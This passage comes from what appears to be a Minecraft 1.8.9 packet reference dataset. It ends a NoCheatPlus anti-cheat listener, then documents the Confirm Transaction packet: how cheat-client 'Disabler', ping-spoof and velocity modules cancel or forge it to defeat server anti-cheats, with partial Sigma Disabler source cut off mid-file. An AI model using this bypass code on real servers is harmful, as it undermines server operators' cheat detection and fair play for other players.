event.setCancelled(true);\n        }\n    }\n    \n    @EventHandler(priority = EventPriority.LOWEST, ignoreCancelled = true)\n    public void onEditingABook(final PlayerEditBookEvent event) {\n        final Player player = event.getPlayer();\n        if (!gutenberg.isEnabled(player)) {\n            return;\n        }\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final InventoryData data = pData.getGenericInstance(InventoryData.class);\n        final BookMeta newMeta = event.getNewBookMeta();\n        final int pages = newMeta.getPageCount();\n        if (gutenberg.check(player, data, pData, pages)) {\n        \tevent.setCancelled(true);\n        }\n    }\n\n    @EventHandler(priority = EventPriority.LOWEST, ignoreCancelled = true)\n    public void onConsumingFoodOrPotions(final PlayerItemConsumeEvent event){\n        final Player player = event.getPlayer();\n        if (player.isDead() && BridgeHealth.getHealth(player) <= 0.0) {\n            // Eat after death.\n            event.setCancelled(true);\n            counters.addPrimaryThread(idCancelDead, 1);\n            return;\n        }\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        if (!fastConsume.isEnabled(player)) {\n            return;\n        }\n        final InventoryData data = pData.getGenericInstance(InventoryData.class);\n        final long time = System.currentTimeMillis();\n        if (fastConsume.check(player, event.getItem(), time, data, pData)) {\n            event.setCancelled(true);\n            DataManager.getPlayerData(player).requestUpdateInventory();\n        }\n    }\n    \n    @EventHandler(priority = EventPriority.LOWEST, ignoreCancelled = true)\n    public void onClosingAnyInventory(final InventoryCloseEvent event) {\n        // NOTE: ignoreCancelled is kept to true here. Cancelled events won't reset data.\n        // NOTE: Priority level -> same as opening time.\n        final HumanEntity entity = event.getPlayer();\n        if (entity instanceof Player) {\n            final Player player = (Player) entity;\n            final IPlayerData pData = DataManager.getPlayerData(player);\n            final InventoryData data = pData.getGenericInstance(InventoryData.class);\n            data.inventoryOpenTime = 0;\n            data.containerInteractTime = 0;\n            if (pData.isDebugActive(CheckType.INVENTORY)) {\n                debug(player, \"InventoryCloseEvent: reset timing data.\");\n            }\n        }\n        keepCancel = false;\n    }\n\n    @EventHandler(priority = EventPriority.LOWEST)\n    public final void onPlayerInteract(final PlayerInteractEvent event) {\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final InventoryData data = pData.getGenericInstance(InventoryData.class);\n        final CombinedData cData = pData.getGenericInstance(CombinedData.class);\n        // Set the container opening time.\n        if (event.getAction() == Action.RIGHT_CLICK_BLOCK && event.getClickedBlock() != null\n            // Sneaking and right clicking with a block in hand will cause the player to place the block down, not to open the container.\n            && !(BridgeMisc.isUsingItem(player) || pData.isShiftKeyPressed() && event.isBlockInHand())) {\n            if (BlockProperties.isContainer(event.getClickedBlock().getType())) {\n                data.containerInteractTime = System.currentTimeMillis();\n                if (pData.isDebugActive(CheckType.INVENTORY)) {\n                    debug(player, \"Interacted with a container: register the interaction time.\");\n                }\n            }\n        } \n        // Only interested in right-clicks while holding an item.\n        if (event.getAction() != Action.RIGHT_CLICK_AIR && event.getAction() != Action.RIGHT_CLICK_BLOCK) {\n            return;\n        }\n        \n        boolean resetAll = false;\n        if (event.hasItem()) {\n            final ItemStack item = event.getItem();\n            final Material type = item.getType();\n            // TODO: Get Magic values (800) from the config.\n            // TODO: Cancelled / deny use item -> reset all?\n            if (type == Material.BOW) {\n                final long now = System.currentTimeMillis();\n                // It was a bow, the player starts to pull the string, remember this time.\n                data.instantBowInteract = (data.instantBowInteract > 0 && now - data.instantBowInteract < 800) ? Math.min(System.currentTimeMillis(), data.instantBowInteract) : System.currentTimeMillis();\n            }\n            else if (InventoryUtil.isConsumable(type)) {\n                final long now = System.currentTimeMillis();\n                // It was food, the player starts to eat some food, remember this time and the type of food.\n                data.fastConsumeFood = type;\n                data.fastConsumeInteract = (data.fastConsumeInteract > 0 && now - data.fastConsumeInteract < 800) ? Math.min(System.currentTimeMillis(), data.fastConsumeInteract) : System.currentTimeMillis();\n                data.instantBowInteract = 0; \n            } \n            else resetAll = true;\n        }\n        else resetAll = true;\n\n        if (resetAll) {\n            // Nothing that we are interested in, reset data.\n            data.instantBowInteract = 0;\n            data.fastConsumeInteract = 0;\n            data.fastConsumeFood = null;\n        }\n    }\n    \n    // TODO: Why is this handler inside the INVENTORY listener!?\n    @EventHandler(priority = EventPriority.LOWEST)\n    public final void onPlayerInteractEntity(final PlayerInteractEntityEvent event) {\n        final Player player = event.getPlayer();\n        if (player.getGameMode() == GameMode.CREATIVE || !DataManager.getPlayerData(player).isCheckActive(CheckType.INVENTORY, player)) {\n            return;\n        }\n        if (player.isDead() && BridgeHealth.getHealth(player) <= 0.0) {\n            // No zombies.\n            event.setCancelled(true);\n            counters.addPrimaryThread(idCancelDead, 1);\n            return;\n        }\n        else if (MovingUtil.hasScheduledPlayerSetBack(player)) {\n            event.setCancelled(true);\n            return;\n        }\n    }\n    \n    @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n    public final void onContainerOpen(final InventoryOpenEvent event) {\n        // Possibly already prevented by block + entity interaction.\n        // NOTE: ignoreCancelled is kept true. Denied openings won't register timing data.\n        final long now = System.currentTimeMillis();\n        final HumanEntity entity = event.getPlayer();\n        if (entity instanceof Player) {\n            final Player player = (Player) entity;\n            final IPlayerData pData = DataManager.getPlayerData(player);\n            final InventoryData data = pData.getGenericInstance(InventoryData.class);\n            if (MovingUtil.hasScheduledPlayerSetBack(player)) {\n                // Don't allow players to open inventories on set-backs.\n                event.setCancelled(true);\n                data.inventoryOpenTime = 0; // Just to be sure\n                if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                    debug(player, \"InventoryOpenEvent: attempted to open a container during set back processing; reset timing data and prevent opening.\");\n                }\n            }\n            else if (data.inventoryOpenTime == 0) {\n                // Only set the inventory opening time, if a setback is not scheduled.\n                data.inventoryOpenTime = now;\n                 if (pData.isDebugActive(CheckType.INVENTORY)) {\n                    debug(player, \"Fired an explicit InventoryOpenEvent; inventory is now open (no assumptions): register time.\");\n                }\n            }\n        }\n    }\n\n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onItemHeldChange(final PlayerItemHeldEvent event) {\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final InventoryData data = pData.getGenericInstance(InventoryData.class);\n        if (pData.isDebugActive(checkType) && data.fastConsumeFood != null) {\n            debug(player, \"PlayerItemHeldEvent, reset fastconsume.\");\n        }\n        data.instantBowInteract = 0;\n        data.fastConsumeInteract = System.currentTimeMillis();\n        data.fastConsumeFood = null;\n        if (event.getPreviousSlot() != event.getNewSlot()) {\n            if (open.check(player)) {\n                if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                    debug(player, \"Force-close inventory on changing slots.\");\n                }\n            }\n        }   \n    }\n    \n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onPlayerChangedWorld(final PlayerChangedWorldEvent event) {\n        // Data is reset regardless of cancellation state (better safe than sorry)\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(player, \"Force-close inventory on changing worlds.\");\n            }\n        }\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n    public void onBreakingBlocks(final BlockBreakEvent event) {\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        // Can't break blocks with inventory open.\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(player, \"Force-close inventory on breaking blocks (cheat prevention).\");\n            }\n        }\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n    public void onPlacingBlocks(final BlockPlaceEvent event) {\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        // Can't place blocks with inventory open.\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(event.getPlayer(), \"Force-close inventory on placing blocks (cheat prevention).\");\n            }\n        }\n    }\n    \n    @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n    public void onPlayerPortal(final PlayerPortalEvent event) {\n        // Note: ignore cancelother setting.\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(event.getPlayer(), \"Force-close inventory on using a portal.\");\n            }\n        }\n    }\n    \n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onPlayerRespawn(final PlayerRespawnEvent event) {\n        // NOTE: Data is reset regardless of cancellation state (better safe than sorry)\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(event.getPlayer(), \"Force-close inventory on respawning.\");\n            }\n        }\n    }\n    \n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onPlayerDeath(final EntityDeathEvent event) {\n        // NOTE: Data is reset regardless of cancellation state (better safe than sorry)\n        final LivingEntity entity = event.getEntity();\n        if (entity instanceof Player) {\n            final Player player = (Player) entity;\n            final IPlayerData pData = DataManager.getPlayerData(player);\n            if (open.check(player)) {\n                if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                    debug(player, \"Force-close inventory on death.\");\n                }\n            }\n        }\n    }\n    \n    @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n    public void onPlayerSleep(final PlayerBedEnterEvent event) {\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(event.getPlayer(), \"Force-close inventory on sleeping.\");\n            }\n        }\n    }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n    public void onPlayerWake(final PlayerBedLeaveEvent event) {\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(event.getPlayer(), \"Force-close inventory on waking up.\");\n            }\n        }\n    }\n    \n    // Check even if cancelled\n    // (Players swing their arm when dropping items.)\n    // @EventHandler(priority = EventPriority.MONITOR)\n    // public void onSwingingArm(final PlayerAnimationEvent event) {\n    //     final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n    //     if (open.check(event.getPlayer())) {\n    //         if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n    //             debug(event.getPlayer(), \"Force-close inventory on swinging arm (cheat prevention).\");\n    //         }\n    //     }\n    // }\n\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n    public void onEntityPortal(final EntityPortalEnterEvent event) {\n        // Check passengers flat for now.\n        final Entity entity = event.getEntity();\n        if (entity instanceof Player) {\n            final IPlayerData pData = DataManager.getPlayerData((Player) entity);\n            if (open.check((Player) entity)) {\n                if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                    debug((Player) entity, \"Force-close inventory on using a portal (entity).\");\n                }\n            }\n        }\n        else {\n            for (final Entity passenger : handleVehicles.getHandle().getEntityPassengers(entity)) {\n                if (passenger instanceof Player) {\n                \tfinal IPlayerData pData = DataManager.getPlayerData((Player) entity);\n                    if (open.check((Player) passenger)) {\n                        if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                            debug((Player) passenger, \"Force-close inventory of passenger on using a portal, passenger: \" + passenger.toString());\n                        }\n                    }\n                }\n            }\n        }\n    }\n    \n    /** Event priority must be set to priority used for moving checks due using moving data from there */\n    @EventHandler(ignoreCancelled = true, priority = EventPriority.LOWEST)\n    public void onPlayerMove(final PlayerMoveEvent event) {\n        final Location from = event.getFrom();\n        final Location to = event.getTo();\n        final boolean PoYdiff = from.getPitch() != to.getPitch() || from.getYaw() != to.getYaw();\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        if (MovingUtil.hasScheduledPlayerSetBack(event.getPlayer())) {\n            // On 1.8 set back technique is different, as we do not cancel the event.\n            return;\n        }\n        final CombinedData cData = pData.getGenericInstance(CombinedData.class);\n        final InventoryConfig cc = pData.getGenericInstance(InventoryConfig.class);\n        final Inventory inv = BukkitAPIAccessFactory.getBukkitAccess().getTopInventory(event.getPlayer());\n        boolean moreInvCheck = false;\n        if (moreInv.isEnabled(event.getPlayer(), pData) \n            && moreInv.check(event.getPlayer(), cData, pData, inv.getType(), inv, PoYdiff)) {\n            for (int i = 1; i <= 4; i++) {\n                final ItemStack item = inv.getItem(i);\n                // Ensure air-clicking is not detected... :)\n                if (item != null && !BlockProperties.isAir(item.getType())) {\n                    // NOTE: dropItemsNaturally does not fire InvDrop events, so don't use it here. Simply close the inventory,\n                    event.getPlayer().closeInventory(); // Do not call Open.checkClose() here, as it checks for if the inventory is open again, and we're not interested in that.\n                    if (pData.isDebugActive(CheckType.INVENTORY_MOREINVENTORY)) {\n                        debug(event.getPlayer(), \"On PlayerMoveEvent: force-close inventory on MoreInv detection.\");\n                    }\n                    moreInvCheck = true;\n                    break;\n                }\n            }\n        }\n        if (moreInvCheck) {\n            // Already closed inventory; no need to also check for open-on-move.\n            return;\n        }\n        // Determine if the inventory should be closed.\n        if (cc.openCancelOnMove && !pData.hasBypass(CheckType.INVENTORY_OPEN, event.getPlayer())) {\n            if (InventoryUtil.hasInventoryOpen(event.getPlayer()) && open.checkOnMove(event.getPlayer(), pData)) {\n                event.getPlayer().closeInventory(); // Do not call open.check() here. <- Uhm... Why did I write this note?\n                if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                    debug(event.getPlayer(), \"Player is actively moving: force-close open inventory.\");\n                }\n            }\n        }\n    }\n    \n    @EventHandler(priority = EventPriority.MONITOR)\n    public void onPlayerTeleport(final PlayerTeleportEvent event) {\n        // NOTE: Data is reset regardless of cancellation state (better safe than sorry)\n        final IPlayerData pData = DataManager.getPlayerData(event.getPlayer());\n        if (open.check(event.getPlayer())) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(event.getPlayer(), \"Force-close inventory on teleporting.\");\n            }\n        }\n    }\n\n    @Override\n    public void playerJoins(Player player) {\n        // Just to be sure...\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final InventoryData data = pData.getGenericInstance(InventoryData.class);\n        data.inventoryOpenTime = 0;\n        if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n            debug(player, \"Reset inventory timings data on join.\");\n        }\n    }\n\n    @Override\n    public void playerLeaves(Player player) {\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        if (open.check(player)) {\n            if (pData.isDebugActive(CheckType.INVENTORY_OPEN)) {\n                debug(player, \"Force-close inventory on leaving the server.\");\n            }\n        }\n    }\n\n    /**\n     * Debug inventory classes. Contains information about classes, to indicate\n     * if cross-plugin compatibility issues can be dealt with easily.\n     * \n     * @param player\n     * @param slot\n     * @param event\n     */\n    private void outputDebugInventoryClick(final Player player, final int slot, final InventoryClickEvent event, \n                                           final String action) {\n        // TODO: Consider only logging where different from expected (CraftXY, more/other viewer than player). \n\n        final StringBuilder builder = new StringBuilder(512);\n        final InventoryData data = DataManager.getPlayerData(player).getGenericInstance(InventoryData.class);\n        builder.append(\"Inventory click: slot: \" + slot);\n        builder.append(\" , Inventory has been opened for: \" + MathUtil.toSeconds(System.currentTimeMillis() - data.inventoryOpenTime) + \" secs\");\n        builder.append(\" , Time between inventory click and last interaction time: \" + MathUtil.toSeconds(data.lastClickTime - data.containerInteractTime) + \" secs\");\n\n        // Viewers.\n        builder.append(\" , Viewers: \");\n        for (final HumanEntity entity : event.getViewers()) {\n            builder.append(entity.getName());\n            builder.append(\"(\");\n            builder.append(entity.getClass().getName());\n            builder.append(\")\");\n        }\n\n        // Inventory view.\n        builder.append(\" , View: \");\n        //final InventoryView view = BridgeBukkitAPI.getInventoryView(event);\n        //builder.append(view.getClass().getName());\n\n        // Bottom inventory.\n        addInventory(BukkitAPIAccessFactory.getBukkitAccess().getBottomInventory(event), BukkitAPIAccessFactory.getBukkitAccess().getInventoryTitle(event), \" , Bottom: \", builder);\n\n        // Top inventory.\n        addInventory(BukkitAPIAccessFactory.getBukkitAccess().getTopInventory(event), BukkitAPIAccessFactory.getBukkitAccess().getInventoryTitle(event), \" , Top: \", builder);\n        \n        if (action != null) {\n            builder.append(\" , Action: \");\n            builder.append(action);\n        }\n\n        // Event class.\n        builder.append(\" , Event: \");\n        builder.append(event.getClass().getName());\n\n        // Log debug.\n        debug(player, builder.toString());\n    }\n\n    private void addInventory(final Inventory inventory, final String name, final String prefix, final StringBuilder builder) {\n        builder.append(prefix);\n        if (inventory == null) {\n            builder.append(\"(none)\");\n        }\n        else {\n            builder.append(name);\n            builder.append(\"/\");\n            builder.append(inventory.getClass().getName());\n        }\n    }\n}\n// NOTE (AI): NCP's InventoryListener is the canonical window-click handler: it drives FastClick (click speed), InstantBow (bow drawn without charging), Gutenberg (creative item spam), MoreInventory (nuking with items) and Open (close/open cycle rate) from inventory events fed by the ProtocolLib InventoryAdapter.\n",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/inventory/InventoryListener.java",
       "variations": "AntiCheatPlus's InventoryListener and DynamicDev's InventoryListener expose the same fastclick idea on 1.7-1.8 servers; Frequency's InventoryA/B are the statistical descendants."
      }
     ]
    }
   },
   "wiki_notes": [
    "The server ignores any click targeting a window ID other than the currently open one, including window 0 while another window is open. Right-clicking an odd-sized stack picks up half and leaves the smaller half in the slot, and the mode and button fields jointly encode left, right, shift-click, number-key, drop-key, drag-painting and double-click operations with slot -999 meaning outside the window.",
    "MCP 1.8.9 C0EPacketClickWindow implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processClickWindow; wire serde is readPacketData/writePacketData via readByte, readItemStackFromBuffer, readShort.",
    "1.8.9 callers: PlayerControllerMP.windowClick sends new C0EPacketClickWindow (line 538): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/multiplayer/PlayerControllerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C0EPacketClickWindow/",
   "mcp_path": "net/minecraft/network/play/client/C0EPacketClickWindow.java",
   "group": "play-server",
   "logic_classes": [
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C0FPacketConfirmTransaction",
   "hex": "0x0F",
   "dec": 15,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Confirm Transaction",
   "desc": "Client confirms receipt of a S32PacketConfirmTransaction (server inventory transaction).",
   "tags": [
    "player",
    "inventory",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Window ID"
    },
    {
     "name": "uid",
     "type": "short",
     "desc": "Transaction UID matching the server's confirm packet"
    },
    {
     "name": "accepted",
     "type": "boolean",
     "desc": "Always true in practice"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "byte",
     ""
    ],
    [
     "Action Number",
     "short",
     ""
    ],
    [
     "Accepted",
     "bool",
     "Almost always true"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processConfirmTransaction()"
   ],
   "handler": "INetHandlerPlayServer",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C0F is the client's acknowledgement of a server transaction: windowId, action number (uid), and accepted boolean. It exists to keep container actions and the server's movement/state checks in sync. Because the server sends S32PacketConfirmTransaction after inventory actions and certain checks, the client's C0F echo is the server's clock for latency and state. That makes C0F the backbone of disablers (break the transaction stream), ping spoofers (delay the echo), and velocity filters (spoof the echo to desync the check)."
     },
     {
      "h": "Vanilla handling",
      "p": "processConfirmTransaction is tiny: it looks up the pending action number for the open window and only re-enables crafting if the uid matches and the window matches. Vanilla itself does not time out or penalize missing confirmations; the NetHandlerPlayClient normally echoes S32 back as C0F automatically. This leniency is what disablers exploit: cancel C0F and the server-side container logic stalls without kicking."
     },
     {
      "h": "Why clients touch it",
      "p": "Every client in the corpus has a Disabler that cancels, delays, or forges C0F (Memeware, Nekoware, Rise 5.99, Rise 6.x suite, Sigma, Spicy, Tenacity). PingSpoof (Rise 5.99, Rise 6.x PingSpoofComponent) parks C0F together with C00 and releases them late. Velocity modules (Rise 5.99 Velocity, Rise 6.2.4 VulcanVelocity) cancel the S32 trigger and answer with a forged C0F so the server believes the transaction completed while the velocity was removed. Rise 6.2.4 Timer parks C0F on the ground to freeze watchdog's transaction clock, and NoVoid/AntiVoid modules cancel C0F while falling. The two new research clients add two more families. November Recode 2.0 mutates C0F on its EventPacket bus: DisablerModule rewrites the uid to Short.MAX_VALUE in its BLOCKS_MC mode, and VelocityModule cancels the C0F echo whose uid matches a cancelled velocity transaction under GRIM, or one C0F per hit under VULCAN. LiquidSense Dev parks C0F in queues (Disabler, PingSpoof), forges a C0F(0, -1, false) sentinel in the Tp and LastestHypixelFly enable sequences, and overwrites the vanilla S32 handler in MixinNetHandlerPlayClient so the echo always fires through the modified send path."
     },
     {
      "h": "Exploit surface",
      "p": "The accepted boolean and uid are forgeable. Memeware sends C0F(Integer.MIN_VALUE, Short.MAX_VALUE, true) to poison the server's transaction map; Spicy swaps the uid to desync; VulcanVelocity alternates uid 1/-1 to break Vulcan's velocity transaction tracking. The detection surface is the timing: a server that tracks C0F gaps (Verus, Watchdog) flags when the echo arrives outside the expected window, which is why disabler modes pair C0F with C00 delays and flush them together."
     }
    ],
    "overview": "The transaction echo that disablers live on. Cancel it to stall container logic, delay it to spoof ping, forge it to break velocity checks, or park it to freeze timer-based anti-cheats. Vanilla barely validates it, so the entire game is timing and uid correctness.",
    "server_handling": "processConfirmTransaction: look up the pending action for openContainer.windowId; if the uid matches and crafting was disabled, re-enable crafting. No timeout, no kick, no penalty for a missing or wrong C0F in vanilla. The client handler echoes S32 automatically, and modules hook PacketSendEvent to cancel or mutate that echo.",
    "protocol_notes": "Fields: windowId byte, actionNumber short, accepted boolean. Window 0 (inventory) transactions are sent frequently during normal play. The uid counter is per-container; S32PacketConfirmTransaction carries the same windowId/uid the server expects echoed. Clients that cancel C0F must still answer S32 for window clicks or the container desyncs.",
    "anticheat_landscape": "Verus and Watchdog use C0F (and C00) gaps as a latency reference for timer and fly checks. The Rise 6.x disabler suite (TransactionDisabler, DynamicPVPDisabler, Verus2Disabler, WatchdogDisabler, LunarDisabler, UniversoCraftDisabler, MMCReachDisabler, ExperimentalDisabler, TestDisabler, ConvertMovingPacketsDisabler) is one mode per AC family. The trade-off: forging uids breaks the container logic visibly (items snap back), delaying keeps containers working but is detectable as a constant lag offset.",
    "modules": [
     {
      "name": "Disabler",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0",
       "November Recode 2.0"
      ],
      "purpose": "Cancel, delay, or forge C0F to break anti-cheat transaction-based checks.",
      "how_it_works": "Mode-dependent. Memeware's Transaction/Latest Verus modes cancel C0F and periodically re-send forged ones (C0F(Integer.MIN_VALUE, Short.MAX_VALUE, true) for the autoban channel); Sigma's SagePvP/ColdNetwork modes cancel C0F when id==0 and accepted; Rise 5.99's Disabler has a dozen modes (vulcanCombat, ncp, verus, etc.) that cancel C0F in specific packet windows; Rise 6.x splits this into per-AC disabler modules; Tenacity AdvancedDisablerModule cancels C0F in specific states.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.MoveUtils;\nimport info.sigmaclient.management.notifications.Notifications;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.module.impl.movement.Phase;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemBook;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.server.S00PacketKeepAlive;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\n\npublic class Disabler extends Module {\n    String MODE = \"MODE\";\n    boolean faithful = false, watchdog = false, erisium = false;\n    Timer timer = new Timer();\n    int lastKey;\n    String mode;\n\n    public Disabler(ModuleData data) {\n        super(data);\n        settings.put(MODE, new Setting<>(MODE, new Options(\"Mode\", \"Hypixel\", new String[]{\"Hypixel\", \"Faithful\", \"Erisium\", \"SagePvP\", \"ColdNetwork\"}), \"Disabler method.\"));\n    }\n\n    @Override\n    public void onEnable() {\n        if (mc.theWorld == null)\n            return;\n        erisium = false;\n        timer.reset();\n        mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        if (mode.equalsIgnoreCase(\"ViperMC\")) {\n            if (!MoveUtils.isOnGround(0.0001)) {\n                this.toggle();\n                Notifications.getManager().post(\"Disabler\", \"Try again on ground !\", Notifications.Type.WARNING);\n            }\n        }\n        if (mode.equalsIgnoreCase(\"Hypixel\")) {\n            if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {\n                double x = mc.thePlayer.posX;\n                double y = mc.thePlayer.posY;\n                double z = mc.thePlayer.posZ;\n                mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));\n                mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));\n                watchdog = true;\n                Notifications.getManager().post(\"Disabler\", \"Wait 5s.\", Notifications.Type.INFO);\n            } else {\n                watchdog = false;\n            }\n        } else if (mode.equalsIgnoreCase(\"Faithful\")) {\n            Notifications.getManager().post(\"Disabler\", \"Relog to disable Area 51.\", Notifications.Type.INFO);\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventUpdate.class, EventPacket.class})\n    public void onEvent(Event event) {\n        if (mode == null) {\n            mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        }\n        if (!mode.equalsIgnoreCase(((Options) settings.get(MODE).getValue()).getSelected())) {\n\n            mode = ((Options) settings.get(MODE).getValue()).getSelected();\n            if (mode.equalsIgnoreCase(\"Faithful\")) {\n                Notifications.getManager().post(\"Disabler\", \"Relog to disable Area 51.\", Notifications.Type.INFO);\n            }\n        }\n        this.setSuffix(mode);\n        if (event instanceof EventUpdate) {\n            EventUpdate em = (EventUpdate) event;\n            if (em.isPre()) {\n                if (mc.thePlayer.ticksExisted <= 1) {\n                    erisium = false;\n                }\n                if (mode.equalsIgnoreCase(\"ViperMC\")) {\n                    if (timer.delay(3000)) {\n                        em.setY(mc.thePlayer.posY + 0.4);\n                        return;\n                    }\n                    for (int i = 0; i < 10; ++i) {\n                        boolean i2 = i > 2 && i < 8;\n                        double x = i2 ? 0.2 : -0.2D;\n                        C03PacketPlayer.C04PacketPlayerPosition packet = new C03PacketPlayer.C04PacketPlayerPosition(\n                                mc.thePlayer.posX, mc.thePlayer.posY + x, mc.thePlayer.posZ, true);\n                        mc.thePlayer.sendQueue.addToSendQueue(packet);\n                    }\n                }\n                if (mode.equalsIgnoreCase(\"Hypixel\"))\n                    if (!watchdog) {\n                        if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {\n                            double x = mc.thePlayer.posX;\n                            double y = mc.thePlayer.posY;\n                            double z = mc.thePlayer.posZ;\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));\n                            mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));\n                            watchdog = true;\n                            Notifications.getManager().post(\"Disabler\", \"Please wait 5s.\", Notifications.Type.INFO);\n                        }\n                    } else {\n                        mc.thePlayer.motionX = 0;\n                        mc.thePlayer.motionY = 0;\n                        mc.thePlayer.motionZ = 0;\n                        mc.thePlayer.jumpMovementFactor = 0;\n                        mc.thePlayer.noClip = true;\n                        mc.thePlayer.onGround = false;\n                    }\n                if (mode.equalsIgnoreCase(\"Erisium\")) {\n                    if (erisium && timer.delay(1500)) {\n                        erisium = !erisium;\n                        mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(lastKey));\n                    }\n                }\n\n            }\n        } else if (event instanceof EventPacket) {\n            EventPacket ep = (EventPacket) event;\n            Packet p = ep.getPacket();\n            if (ep.isPre()) {\n                if (p instanceof C03PacketPlayer) {\n                    if (mode.equalsIgnoreCase(\"Hypixel\") && watchdog) {\n                        ep.setCancelled(true);\n                    }\n                }\n                if (p instanceof S08PacketPlayerPosLook) {\n                    